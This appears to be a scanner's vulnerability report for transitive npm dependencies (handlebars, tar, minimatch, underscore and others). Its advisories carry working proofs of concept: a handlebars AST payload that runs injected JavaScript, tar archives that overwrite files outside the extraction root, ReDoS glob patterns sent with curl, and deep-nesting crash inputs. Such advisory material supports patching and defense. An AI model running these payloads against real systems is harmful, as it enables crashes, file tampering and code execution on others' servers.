In lib/handlebars/compiler/javascript-compiler.js, the code generated for a decorator invocation looks like:

fn = lookupProperty(decorators, "n")(fn, props, container, options) || fn;

When "n" is not a registered decorator, lookupProperty(decorators, "n") returns undefined. The expression immediately attempts to call undefined as a function, producing:

TypeError: lookupProperty(...) is not a function

Because the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and — when not caught by the application — crashes the Node.js process.

This inconsistency is notable: references to unregistered helpers produce a clean "Missing helper: ..." error, while references to unregistered decorators cause a hard crash.

Attack scenario: An attacker submits {{*n}} as template content to any endpoint that calls Handlebars.compile(userInput)(). Each request crashes the server process; with process managers that auto-restart (PM2, systemd), repeated submissions create a persistent DoS.

Proof of Concept

const Handlebars = require('handlebars'); // Handlebars 4.7.8, Node.js v22.x

// Any of these payloads crash the process
Handlebars.compile('{{*n}}')({});
Handlebars.compile('{{*decorator}}')({});
Handlebars.compile('{{*constructor}}')({});

Expected crash output:

TypeError: lookupProperty(...) is not a function
    at Function.eval [as decorator] (eval at compile (...javascript-compiler.js:134:36))

Workarounds

  • Wrap compilation and rendering in try/catch:
    try {
      const result = Handlebars.compile(userInput)(context);
      res.send(result);
    } catch (err) {
      res.status(400).send('Invalid template');
    }
  • Validate template input before passing it to compile(). Reject templates containing decorator syntax ({{*...}}) if decorators are not used in your application.
  • Use the pre-compilation workflow: compile templates at build time and serve only pre-compiled templates; do not call compile() at request time.
[ CVE-2026-33938 ] handlebars 4.0.12

Vulnerability Details

CVSS V3: 8.1
Dependency Path:
handlebars: 4.0.12 (Transitive)Fix Version: 4.7.9

Summary

The @partial-block special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites @partial-block with a crafted Handlebars AST, a subsequent invocation of {{> @partial-block}} compiles and executes that AST, enabling arbitrary JavaScript execution on the server.

Description

Handlebars stores @partial-block in the data frame that is accessible to templates. In nested contexts, a parent frame's @partial-block is reachable as @_parent.partial-block. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite @partial-block with an attacker-controlled value.

When {{> @partial-block}} is subsequently evaluated, invokePartial receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to dynamically compiling the value via env.compile(). If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.

The handlebars-helpers npm package (commonly used with Handlebars) includes several helpers such as merge that can be used as the mutation primitive.

Proof of Concept

Tested with Handlebars 4.7.8 and handlebars-helpers:

const Handlebars = require('handlebars');
const merge = require('handlebars-helpers').object().merge;
Handlebars.registerHelper('merge', merge);

const vulnerableTemplate = `
{{#*inline "myPartial"}}
    {{>@partial-block}}
    {{>@partial-block}}
{{/inline}}
{{#>myPartial}}
    {{merge @_parent partial-block=1}}
    {{merge @_parent partial-block=payload}}
{{/myPartial}}
`;

const maliciousContext = {
  payload: {
    type: "Program",
    body: [
      {
        type: "MustacheStatement",
        depth: 0,
        path: {
          type: "PathExpression",
          parts: ["pop"],
          original: "this.pop",
          // Code injected via depth field — breaks out of generated function call
          depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//",
        },
      },
    ],
  },
};

Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: RCE via @partial-block

Workarounds

  • Use the runtime-only build (require('handlebars/runtime')). The compile() method is absent, eliminating the vulnerable fallback path.
  • Audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only.
  • Avoid registering helpers from third-party packages (such as handlebars-helpers) in contexts where templates or context data can be influenced by untrusted input.
[ CVE-2026-33750 ] brace-expansion 1.1.11

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
brace-expansion: 1.1.11 (Transitive)Fix Version: 1.1.13

Impact

A brace pattern with a zero step value (e.g., {1..2..0}) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory.

The loop in question:

https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184

test() is one of

https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113

The increment is computed as Math.abs(0) = 0, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing a RangeError. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation.

This affects any application that passes untrusted strings to expand(), or by error sets a step value of 0. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes.

Patches

Upgrade to versions

  • 5.0.5+

A step increment of 0 is now sanitized to 1, which matches bash behavior.

Workarounds

Sanitize strings passed to expand() to ensure a step value of 0 is not used.

[ CVE-2026-33151 ] socket.io-parser 2.3.1

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
socket.io-parser: 2.3.1 (Transitive)Fix Version: 3.3.5

Impact

A specially crafted Socket.IO packet can make the server wait for a large number of binary attachments and buffer them, which can be exploited to make the server run out of memory.

Patches

Version range Used by Fixed version
>=4.0.0 <4.2.6 socket.io@4.x and socket.io-client@4.x 4.2.6
>=3.4.0 <3.4.4 socket.io@2.x 3.4.4
<3.3.5 socket.io-client@2.x 3.3.5

Workarounds

There is no known workaround except upgrading to a safe version.

For more information

If you have any questions or comments about this advisory:

  • Open a discussion here
[ CVE-2026-31802 ] tar 4.4.1

Vulnerability Details

CVSS V3: 5.5
Dependency Path:
tar: 4.4.1 (Transitive)Fix Version: 7.5.11

Summary

tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.

What happens with linkpath: "C:../../../target.txt":

  1. stripAbsolutePath() removes C: and rewrites the value to ../../../target.txt.
  2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
  3. Symlink creation uses the rewritten value (../../../target.txt) from nested path a/b/l.
  4. Writing through the extracted symlink overwrites the outside file (../target.txt).

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@7.5.10.

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

Observed output:

PWNED
../../../target.txt
lrwxrwxrwx - joshuavr  7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr  7 Mar 18:37  ../target.txt

PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

  • CLI tools unpacking untrusted tarballs into a working directory
  • build/update pipelines consuming third-party archives
  • services that import user-supplied tar files
[ CVE-2026-29786 ] tar 4.4.1

Vulnerability Details

CVSS V3: 6.3
Dependency Path:
tar: 4.4.1 (Transitive)Fix Version: 7.5.10

Summary

tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments before stripping absolute roots.

What happens with linkpath: "C:../target.txt":

  1. Split on / gives ['C:..', 'target.txt'], so parts.includes('..') is false.
  2. stripAbsolutePath() removes C: and rewrites the value to ../target.txt.
  3. Hardlink creation resolves this against extraction cwd and escapes one directory up.
  4. Writing through the extracted hardlink overwrites the outside file.

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@7.5.9.

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

cd test-workspace
node poc.cjs && ls -l ../target.txt

Observed output:

PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt

PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

  • CLI tools unpacking untrusted tarballs into a working directory
  • build/update pipelines consuming third-party archives
  • services that import user-supplied tar files
[ CVE-2026-27904 ] minimatch 3.0.4

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
minimatch: 3.0.4 (Transitive)Fix Version: 3.1.4

Summary

Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.


Details

The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:

: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`

This produces the following regexps:

Pattern Generated regex
*(a|b) /^(?:a|b)*$/
*(*(a|b)) /^(?:(?:a|b)*)*$/
*(*(*(a|b))) /^(?:(?:(?:a|b)*)*)*$/
*(*(*(*(a|b)))) /^(?:(?:(?:(?:a|b)*)*)*)*$/

These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.

The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.

Measured times via minimatch():

Pattern Input Time
*(*(a|b)) a x30 + z ~68,000ms
*(*(*(a|b))) a x20 + z ~124,000ms
*(*(*(*(a|b)))) a x25 + z ~116,000ms
*(a|a) a x25 + z ~2,000ms

Depth inflection at fixed input a x16 + z:

Depth Pattern Time
1 *(a|b) 0ms
2 *(*(a|b)) 4ms
3 *(*(*(a|b))) 270ms
4 *(*(*(*(a|b)))) 115,000ms

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.


PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- verify the generated regexps and timing (standalone script)

Save as poc4-validate.mjs and run with node poc4-validate.mjs:

import { minimatch, Minimatch } from 'minimatch'

function timed(fn) {
  const s = process.hrtime.bigint()
  let result, error
  try { result = fn() } catch(e) { error = e }
  const ms = Number(process.hrtime.bigint() - s) / 1e6
  return { ms, result, error }
}

// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
  let pat = 'a|b'
  for (let i = 0; i < depth; i++) pat = `*(${pat})`
  const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
  console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)"          -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/

// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
  ['*(*(*(a|b)))', 15],   // ~270ms
  ['*(*(*(a|b)))', 17],   // ~800ms
  ['*(*(*(a|b)))', 19],   // ~2400ms
  ['*(*(a|b))',    23],   // ~260ms
  ['*(a|b)',      101],   // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
  const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
  console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}

// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)

// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)

Observed output:

depth=1 "*(a|b)"          -> /^(?:a|b)*$/
depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))"    n=23: 257ms result=false
"*(a|b)"       n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false

Step 2 -- HTTP server (event loop starvation proof)

Save as poc4-server.mjs:

import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3001
http.createServer((req, res) => {
  const url     = new URL(req.url, `http://localhost:${PORT}`)
  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))

Terminal 1 -- start the server:

node poc4-server.mjs

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:

curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &

Terminal 3 -- send a benign request while the attack is in-flight:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"

Observed output -- Terminal 2 (attack):

{"result":false,"ms":"64149"}

Observed output -- Terminal 3 (benign, concurrent):

{"result":false,"ms":"0"}

time_total: 63.022047s

Terminal 1 (server log):

[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false

The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.


Impact

Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.

[ CVE-2026-27903 ] minimatch 3.0.4

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
minimatch: 3.0.4 (Transitive)Fix Version: 3.1.3

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.


Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while (fr < fl) {
  ..
  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
    ..
    return true
  }
  ..
  fr++
}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars) Pattern size Time
7 36 bytes ~154ms
9 46 bytes ~1.2s
11 56 bytes ~5.4s
12 61 bytes ~9.7s
13 66 bytes ~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import { minimatch } from 'minimatch'

// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path    = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'

const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path    = Array(30).fill('a').join('/')
minimatch(path, pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3000

const server = http.createServer((req, res) => {
  const url = new URL(req.url, `http://localhost:${PORT}`)
  if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }

  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})

server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}

time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}

time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

[ CVE-2026-27601 ] underscore 1.8.3

Vulnerability Details

CVSS V3: 5.9

Impact

In simple words, some programs that use _.flatten or _.isEqual could be made to crash. Someone who wants to do harm may be able to do this on purpose. This can only be done if the program has special properties. It only works in Underscore versions up to 1.13.7. A more detailed explanation follows.

In affected versions of Underscore, the _.flatten and _.isEqual functions use recursion without a depth limit. Under very specific conditions, detailed below, an attacker could exploit this in a Denial of Service (DoS) attack by triggering a stack overflow.

A proof of concept (PoC) for this type of attack with _.isEqual:

const _ = require('underscore');

// build JSON string for nested object ~4500 levels deep
// (for this to be an attack, the JSON would have to come from
// a request or other untrusted input)
let json = '';
for (let i = 0; i < 4500; i++) json += '{"n":';
json += '"x"';
for (let i = 0; i < 4500; i++) json += '}';

// construct two distinct objects with equal shape from the above JSON
const a = JSON.parse(json);
const b = JSON.parse(json);

_.isEqual(a, b); // RangeError: Maximum call stack size exceeded

A proof of concept (PoC) for this type of attack with _.flatten:

const _ = require('underscore');

// build nested array ~4500 levels deep
// (like with _.isEqual, this nested array would have to be sourced
// from an untrusted external source for it to be an attack)
let nested = [];
for (let i = 0; i < 4500; i++) nested = [nested];

_.flatten(nested); // RangeError: Maximum call stack size exceeded

An application that crashes because of this can be restarted, so the bug is most relevant to applications for which continued operation is important, such as server applications. Furthermore, an application is only vulnerable to this type of attack if ALL of the following conditions are met:

  • Untrusted input must be used to create a recursive datastructure, for example using JSON.parse, with no enforced depth limit.
  • The datastructure thus created must be passed to _.flatten or _.isEqual.
  • In the case of _.flatten, the vulnerability can only be exploited if it is possible for a remote client to prepare a datastructure that consists of arrays at all levels AND if no finite depth limit is passed as the second argument to _.flatten.
  • In the case of _.isEqual, the vulnerability can only be exploited if there exists a code path in which two distinct datastructures that were submitted by the same remote client are compared using _.isEqual. For example, if a client submits data that are stored in a database, and the same client can later submit another datastructure that is then compared to the data that were saved in the database previously, OR if a client submits a single request, but its data are parsed twice, creating two non-identical but equivalent datastructures that are then compared.
  • Exceptions originating from the call to _.flatten or _.isEqual, as a result of a stack overflow, are not being caught.

All versions of Underscore up to and including 1.13.7 are affected by this weakness.

Patches

The problem has been patched in version 1.13.8. Upgrading to 1.13.8 or later completely prevents exploitation.

Note: historically, there have been breaking changes in minor releases of Underscore, especially between versions 1.6 and 1.9. However, upgrading from version 1.9 or later to any later 1.x version should be feasible with little or no effort for all users.

Workarounds

A workaround that works for both functions is to enforce a depth limit on the datastructure that is created from untrusted input. A limit of 1000 levels should prevent attacks from being successful on most systems. In systems with highly constrained hardware, we recommend lower limits, for example 100 levels.

Another possible workaround that only works for _.flatten, is to pass a second argument that limits the flattening depth to 1000 or less.

References

[ CVE-2026-27601 ] underscore 1.6.0

Vulnerability Details

CVSS V3: 5.9
Dependency Path:
underscore: 1.6.0 (Transitive)Fix Version: 1.13.8

Impact

In simple words, some programs that use _.flatten or _.isEqual could be made to crash. Someone who wants to do harm may be able to do this on purpose. This can only be done if the program has special properties. It only works in Underscore versions up to 1.13.7. A more detailed explanation follows.

In affected versions of Underscore, the _.flatten and _.isEqual functions use recursion without a depth limit. Under very specific conditions, detailed below, an attacker could exploit this in a Denial of Service (DoS) attack by triggering a stack overflow.

A proof of concept (PoC) for this type of attack with _.isEqual:

const _ = require('underscore');

// build JSON string for nested object ~4500 levels deep
// (for this to be an attack, the JSON would have to come from
// a request or other untrusted input)
let json = '';
for (let i = 0; i < 4500; i++) json += '{"n":';
json += '"x"';
for (let i = 0; i < 4500; i++) json += '}';

// construct two distinct objects with equal shape from the above JSON
const a = JSON.parse(json);
const b = JSON.parse(json);

_.isEqual(a, b); // RangeError: Maximum call stack size exceeded

A proof of concept (PoC) for this type of attack with _.flatten:

const _ = require('underscore');

// build nested array ~4500 levels deep
// (like with _.isEqual, this nested array would have to be sourced
// from an untrusted external source for it to be an attack)
let nested = [];
for (let i = 0; i < 4500; i++) nested = [nested];

_.flatten(nested); // RangeError: Maximum call stack size exceeded

An application that crashes because of this can be restarted, so the bug is most relevant to applications for which continued operation is important, such as server applications. Furthermore, an application is only vulnerable to this type of attack if ALL of the following conditions are met:

  • Untrusted input must be used to create a recursive datastructure, for example using JSON.parse, with no enforced depth limit.
  • The datastructure thus created must be passed to _.flatten or _.isEqual.
  • In the case of _.flatten, the vulnerability can only be exploited if it is possible for a remote client to prepare a datastructure that consists of arrays at all levels AND if no finite depth limit is passed as the second argument to _.flatten.
  • In the case of _.isEqual, the vulnerability can only be exploited if there exists a code path in which two distinct datastructures that were submitted by the same remote client are compared using _.isEqual. For example, if a client submits data that are stored in a database, and the same client can later submit another datastructure that is then compared to the data that were saved in the database previously, OR if a client submits a single request, but its data are parsed twice, creating two non-identical but equivalent datastructures that are then compared.
  • Exceptions originating from the call to _.flatten or _.isEqual, as a result of a stack overflow, are not being caught.

All versions of Underscore up to and including 1.13.7 are affected by this weakness.

Patches

The problem has been patched in version 1.13.8. Upgrading to 1.13.8 or later completely prevents exploitation.

Note: historically, there have been breaking changes in minor releases of Underscore, especially between versions 1.6 and 1.9. However, upgrading from version 1.9 or later to any later 1.x version should be feasible with little or no effort for all users.

Workarounds

A workaround that works for both functions is to enforce a depth limit on the datastructure that is created from untrusted input. A limit of 1000 levels should prevent attacks from being successful on most systems. In systems with highly constrained hardware, we recommend lower limits, for example 100 levels.

Another possible workaround that only works for _.flatten, is to pass a second argument that limits the flattening depth to 1000 or less.

References

[ CVE-2026-26996 ] minimatch 3.0.4

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
minimatch: 3.0.4 (Transitive)Fix Version: 3.1.3

Summary

minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:

/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/

When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential.

Impact

Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:

  • File search/filter UIs that accept glob patterns
  • .gitignore-style filtering with user-defined rules
  • Build tools that accept glob configuration
  • Any API that exposes glob matching to untrusted input

Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.

[ CVE-2026-26960 ] tar 4.4.1

Vulnerability Details

CVSS V3: 7.1
Dependency Path:
tar: 4.4.1 (Transitive)Fix Version: 7.5.8

Summary

tar.extract() in Node tar allows an attacker-controlled archive to create a hardlink inside the extraction directory that points to a file outside the extraction root, using default options.

This enables arbitrary file read and write as the extracting user (no root, no chmod, no preservePaths).

Severity is high because the primitive bypasses path protections and turns archive extraction into a direct filesystem access primitive.

Details

The bypass chain uses two symlinks plus one hardlink:

  1. a/b/c/up -> ../..
  2. a/b/escape -> c/up/../..
  3. exfil (hardlink) -> a/b/escape/<target-relative-to-parent-of-extract>

Why this works:

  • Linkpath checks are string-based and do not resolve symlinks on disk for hardlink target safety.

    • See STRIPABSOLUTEPATH logic in:
      • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:255
      • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:268
      • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:281
  • Hardlink extraction resolves target as path.resolve(cwd, entry.linkpath) and then calls fs.link(target, destination).

    • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:566
    • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:567
    • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:703
  • Parent directory safety checks (mkdir + symlink detection) are applied to the destination path of the extracted entry, not to the resolved hardlink target path.

    • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:617
    • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:619
    • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:27
